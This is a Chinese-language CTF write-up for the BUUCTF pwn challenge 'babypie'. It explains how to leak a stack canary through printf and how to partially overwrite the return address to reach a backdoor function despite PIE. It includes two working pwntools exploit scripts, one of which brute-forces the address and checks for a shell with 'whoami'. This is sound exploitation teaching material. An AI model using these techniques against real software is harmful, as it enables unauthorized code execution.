收获

  • 通过栈溢出覆盖 canary 最后一字节 b'\x00',再利用 printf() 将 canary 的余下七字节输出,从而绕过 canary 保护

  • 利用 partial write 漏洞爆破 PIE 地址随机化


【BUUCTF】linkctf_2018.7_babypie1


思路

分析文件:

BUUCTF-babypie1.png

权限都开了

在 IDA 下分析:

BUUCTF-babypie2.png

BUUCTF-babypie3.png

观察 buf 在栈中的情况:

BUUCTF-babypie4.png

buf 处存在溢出,不过有 canary 保护

查看字符串:

BUUCTF-babypie5.png

存在 "/bin/sh"

发现后门函数:

BUUCTF-babypie6.png

BUUCTF-babypie7.png

第一个输入 read(0, buf, 0x30uLL) 虽然无法溢出,但是 printf("Hello %s:\n", buf) 可以打印出 buf 的内容

由于 canary 的最后一字节为 b'\x00',会截断 printf() 的输出
因此可以考虑控制 buf 的长度,将 canary 的最后一字节 b'\x00' 覆盖掉,于是 printf() 就会将 canary 的内容输出出来
获得 canary 的值之后就可以通过第二个 read(0, buf, 0x60uLL) 来溢出了

但是程序开启了 PIE 地址随机化,因此 0xA42 并不是后门函数的真实地址

不过由于 partial write(部分写入)的原理,地址的后三位与真实地址是相同的
也就是说真实地址是 0xnA42n 未知,但 n 取值在 0 ~ 15 之间
所以可以进行暴力破解真实地址(或者直接使用 0x0A42 进行碰撞,有概率碰撞正确)

另外,由于后门地址和 ret_addr 的地址只有后两位不一样,所以覆盖返回地址的时候直接填上 b'\x42' 也可以,只修改地址的最后两位


脚本一

from pwn import *

context(os='linux', arch='amd64', log_level='debug')  # 打印调试信息
content = 0  # 本地Pwn通之后,将content改成0,Pwn远程端口

if content == 1:
    io = process("/home/wyy/桌面/PWN/linkctf_2018.7_babypie1/babypie")  # 程序在kali的路径
else:
    io = remote("node4.buuoj.cn", 25143)  # 题目的远程端口

io.recvuntil("Input your Name:\n")
payload = b'a' * (0x30 - 0x8 + 0x1)  # 0x30 - 0x8 到达 canary 的地址,0x30 - 0x8 + 0x1 为 canary 的最后一字节 b'\x00' 的地址
io.send(payload)

io.recvuntil("Hello aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa")
tmp = io.recv(7)  # 接收 printf 输出的七字节 canary 数据
canary = b'\x00' + tmp  # 加上最后一字节 b'\x00' 补齐 canary
print("canary:", canary)

payload= b'a' * (0x30 - 0x8) + canary + b'a' * 0x8 + b'\x42'
io.send(payload)

io.interactive()

结果一

flag{06ccfdaa-2392-4671-b0c0-5fb5bdf5c8cd}

BUUCTF-babypie8.png


脚本二

from pwn import *

context(os='linux', arch='amd64', log_level='debug')  # 打印调试信息
content = 1  # 本地Pwn通之后,将content改成0,Pwn远程端口

if content == 1:
    io = process("/home/wyy/桌面/PWN/linkctf_2018.7_babypie1/babypie")  # 程序在kali的路径
else:
    io = remote("node4.buuoj.cn", 25143)  # 题目的远程端口

io.recvuntil("Input your Name:\n")
payload = b'a' * (0x30 - 0x8 + 0x1)
io.send(payload)

io.recvuntil("Hello aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa")
tmp = io.recv(7)
canary = b'\x00' + tmp
print("canary:", canary)

# 爆破后门函数地址
address = b'\x42'
for i in range(16):
    address += bytes([0x10 * i + 0xa])  # 构造 b'\xia',即 address = p64(0xia42)
    payload = b'a' * (0x30 - 0x8) + canary + b'a' * 0x8 + address
    io.send(payload)  # 注意不能用 sendline,不能添加换行符
    io.sendline(b'whoami')
    s = io.recvline()
    if b'wyy' in s:
        print("地址爆破成功:", address)
        break
    else:
        address = address[:-1]
        continue

io.interactive()

结果二

BUUCTF-babypie9.png